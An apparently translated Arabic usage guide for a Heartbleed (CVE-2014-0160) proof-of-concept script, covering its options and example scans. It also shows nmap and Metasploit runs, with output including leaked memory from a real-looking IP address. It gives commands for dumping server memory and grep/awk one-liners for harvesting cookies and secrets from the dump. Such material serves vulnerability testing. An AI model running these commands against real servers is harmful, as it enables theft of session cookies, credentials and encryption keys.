
اختبار لثغرة Heartbeat في SSL (CVE-2014-0160)
ملاحظة: جميع الأدوات تقريبًا (nmap, metasploit, nessus, وحتى burp) لديها أحدث إصدارات ماسحاتها الضوئية. صدرت هذه الأدوات في المراحل المبكرة عندما كانت الأدوات لا تزال قيد التطوير. لذا استخدم تلك الأدوات بدلاً من هذه الآن.
الاستخدام: heartbleed-poc.py server [options]
اختبر ثغرة SSL heartbeat (CVE-2014-0160)
الخيارات: -h, --help اعرض رسالة المساعدة هذه واخرج -p PORT, --port=PORT منفذ TCP للاختبار (الافتراضي: 443) -n NUM, --num=NUM عدد نبضات القلب التي سيتم إرسالها إذا كانت الثغرة موجودة (تحدد كمية الذاكرة التي تسترجعها) (الافتراضي: 1) -f FILE, --file=FILE اسم الملف لكتابة الذاكرة المفرغة إليه (الافتراضي: dump.bin) -q, --quiet لا تعرض تفريغ الذاكرة -s, --starttls تحقق من STARTTLS (SMTP فقط حاليًا)
فحص عادي، سيستهدف المنفذ 443، بتكرار واحد: python heartbleed-poc.py example.com
فحص تفريغ الذاكرة، سيقوم بـ 100 طلب ويضع المخرجات في الملف الثنائي dump.bin: python heartbleed-poc.py -n100 -f dump.bin example.com
للتأكد من حصولك على أجزاء مختلفة من الكومة (Heap)، اجعل الخادم مشغولًا، وإلا ستحصل على تكرار وتكرار.
فحص خادم بريد باستخدام STARTTLS (أي المنفذ 25): python heartbleed-poc.py -s -p 25 example.com
كان هناك مفتاح -v لجعل إصدار TLS صريحًا، لكنه الآن يُكتشف تلقائيًا وقد تمت إزالته.
سيحتوي الملف الثنائي على مخرجات قيّمة، وإليك بعض الطرق البسيطة للعثور على الأشياء الجيدة:
طلب HTTP: awk '/[HPG][UEO][AST][DT ]/,/Connection/' dump.bin
الكوكيز: grep -a "^Cookie:" dump.bin
أزواج المفاتيح/القيم المثيرة للاهتمام: pcregrep -ao "[A-Za-z0-9_-]+=[0-9a-zA-Z]+" dump.bin
الاستخدام: nmap --script=ssl-heartbleed -p 443
مثال على المخرجات:
Starting Nmap 6.41SVN ( http://nmap.org ) at 2014-04-09 17:27 SAST
Nmap scan report for <example.org> (1.2.3.4)
Host is up (0.0068s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| Description:
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://www.openssl.org/news/secadv_20140407.txt
|_ http://cvedetails.com/cve/2014-0160/
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
msf > use auxiliary/scanner/ssl/openssl_heartbleed msf auxiliary(openssl_heartbleed) > show options
Module options (auxiliary/scanner/ssl/openssl_heartbleed):
Name Current Setting Required Description
RHOSTS yes The target address range or CIDR identifier RPORT 443 yes The target port STARTTLS None yes Protocol to use with STARTTLS, None to avoid STARTTLS (accepted: None, SMTP, IMAP, JABBER, POP3, FTP) THREADS 1 yes The number of concurrent threads TLSVERSION 1.0 yes TLS version to use (accepted: 1.0, 1.1, 1.2)
msf auxiliary(openssl_heartbleed) > set rhosts example.org rhosts => example.org msf auxiliary(openssl_heartbleed) > set STARTTLS FTP STARTTLS => FTP msf auxiliary(openssl_heartbleed) > set PORT 21 PORT => 21 msf auxiliary(openssl_heartbleed) > exploit
[] 37.187.134.197:21 - Trying to start SSL via FTP [] 37.187.134.197:21 - Sending Client Hello... [] 37.187.134.197:21 - Sending Heartbeat... [] 37.187.134.197:21 - Heartbeat response, checking if there is data leaked... [+] 37.187.134.197:21 - Heartbeat response with leak [] 37.187.134.197:21 - Printable info leaked: @SE F(CKMIWsf"!98532ED/A [] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed